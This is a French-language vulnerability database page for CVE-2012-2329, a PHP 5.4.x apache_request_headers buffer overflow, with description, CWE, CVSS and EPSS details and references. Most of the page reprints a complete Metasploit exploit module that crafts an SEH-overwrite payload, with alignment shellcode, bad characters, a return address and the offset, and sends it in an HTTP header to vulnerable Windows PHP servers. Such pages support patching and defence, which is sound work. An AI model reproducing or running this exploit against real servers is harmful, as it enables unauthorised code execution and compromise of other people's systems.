CVE-2012-2329 : Détail

CVE-2012-2329

Overflow
61.22%V3
Network
2012-05-11
08h00 +00:00
2017-08-28
10h57 +00:00
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Descriptions du CVE

Buffer overflow in the apache_request_headers function in sapi/cgi/cgi_main.c in PHP 5.4.x before 5.4.3 allows remote attackers to cause a denial of service (application crash) via a long string in the header of an HTTP request.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 5 AV:N/AC:L/Au:N/C:N/I:N/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 19231

Date de publication : 2012-06-16 22h00 +00:00
Auteur : Metasploit
EDB Vérifié : Yes

## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Remote::Seh def initialize(info = {}) super(update_info(info, 'Name' => 'PHP apache_request_headers Function Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow in the CGI version of PHP 5.4.x before 5.4.3. The vulnerability is due to the insecure handling of the HTTP headers. This module has been tested against the thread safe version of PHP 5.4.2, from "windows.php.net", running with Apache 2.2.22 from "apachelounge.com". }, 'Author' => [ 'Vincent Danen', # Vulnerability discovery 'juan vazquez', # Metasploit module ], 'License' => MSF_LICENSE, 'Version' => '$Revision$', 'References' => [ [ 'CVE', '2012-2329'], [ 'OSVDB', '82215'], [ 'BID', '53455'], [ 'URL', 'http://www.php.net/archive/2012.php#id2012-05-08-1' ], [ 'URL', 'http://www.php.net/ChangeLog-5.php#5.4.3'], [ 'URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=820000' ] ], 'DefaultOptions' => { 'EXITFUNC' => 'process', }, 'Privileged' => true, 'Payload' => { 'Space' => 1321, 'DisableNops' => true, 'BadChars' => "\x00\x0d\x0a\x5f\x80\x8e\x9e\x9f" + (0x41..0x5a).to_a.pack("C*") + (0x82..0x8c).to_a.pack("C*") + (0x91..0x9c).to_a.pack("C*"), 'EncoderType' => Msf::Encoder::Type::NonUpperUnderscoreSafe, 'EncoderOptions' => { 'BufferOffset' => 0x0 } }, 'Platform' => 'win', 'Targets' => [ ['Windows XP SP3 / Windows 2003 Server SP2 (No DEP) / PHP 5.4.2 Thread safe', { 'Ret' => 0x1002aa79, # ppr from php5ts.dll 'Offset' => 1332 } ], ], 'DefaultTarget' => 0, 'DisclosureDate' => 'May 08 2012')) register_options( [ OptString.new('TARGETURI', [true, 'The URI path to the php using apache_request_headers', '/php/test.php']), ], self.class) end def exploit print_status("Trying target #{target.name}...") # Make ECX point to the start of the encoded payload align_ecx = "pop esi\n" # "\x5e" esi_alignment = target['Offset'] + # Space from the start of align_ecx to nseh handler 8 + # len(nseh + seh) 5 - # len(call back) 11 # len(align_ecx) align_ecx << "add esi, -#{esi_alignment}\n" # "\x81\xC6" + 4 bytes imm (ex: "\xCA\xFA\xFF\xFF") align_ecx << "sub ecx, ecx\n" # "\x29\xC9" align_ecx << "add ecx, esi" # "\x01\xf1" sploit = Metasm::Shellcode.assemble(Metasm::Ia32.new, align_ecx).encode_string # Encoded payload sploit << payload.encoded # Padding if needed sploit << rand_text(target['Offset']-sploit.length) # SEH handler overwrite sploit << generate_seh_record(target.ret) # Call back "\xE8" + 4 bytes imm (ex: "\xBF\xFA\xFF\xFF") sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-#{target['Offset']+8}").encode_string # Make it crash sploit << rand_text(4096 - sploit.length) print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") res = send_request_cgi({ 'uri' => target_uri.to_s, 'method' => 'GET', 'headers' => { "HTTP_X_#{rand_text_alpha_lower(4)}" => sploit, } }) if res and res.code == 500 print_status "We got a 500 error code. Even without a session it could be an exploitation signal!" end handler end end

Products Mentioned

Configuraton 0

Php>>Php >> Version 5.4.0

Php>>Php >> Version 5.4.1

Php>>Php >> Version 5.4.2

Références

https://bugs.php.net/bug.php?id=61807
Tags : x_refsource_CONFIRM
http://secunia.com/advisories/49014
Tags : third-party-advisory, x_refsource_SECUNIA
http://www.securityfocus.com/bid/53455
Tags : vdb-entry, x_refsource_BID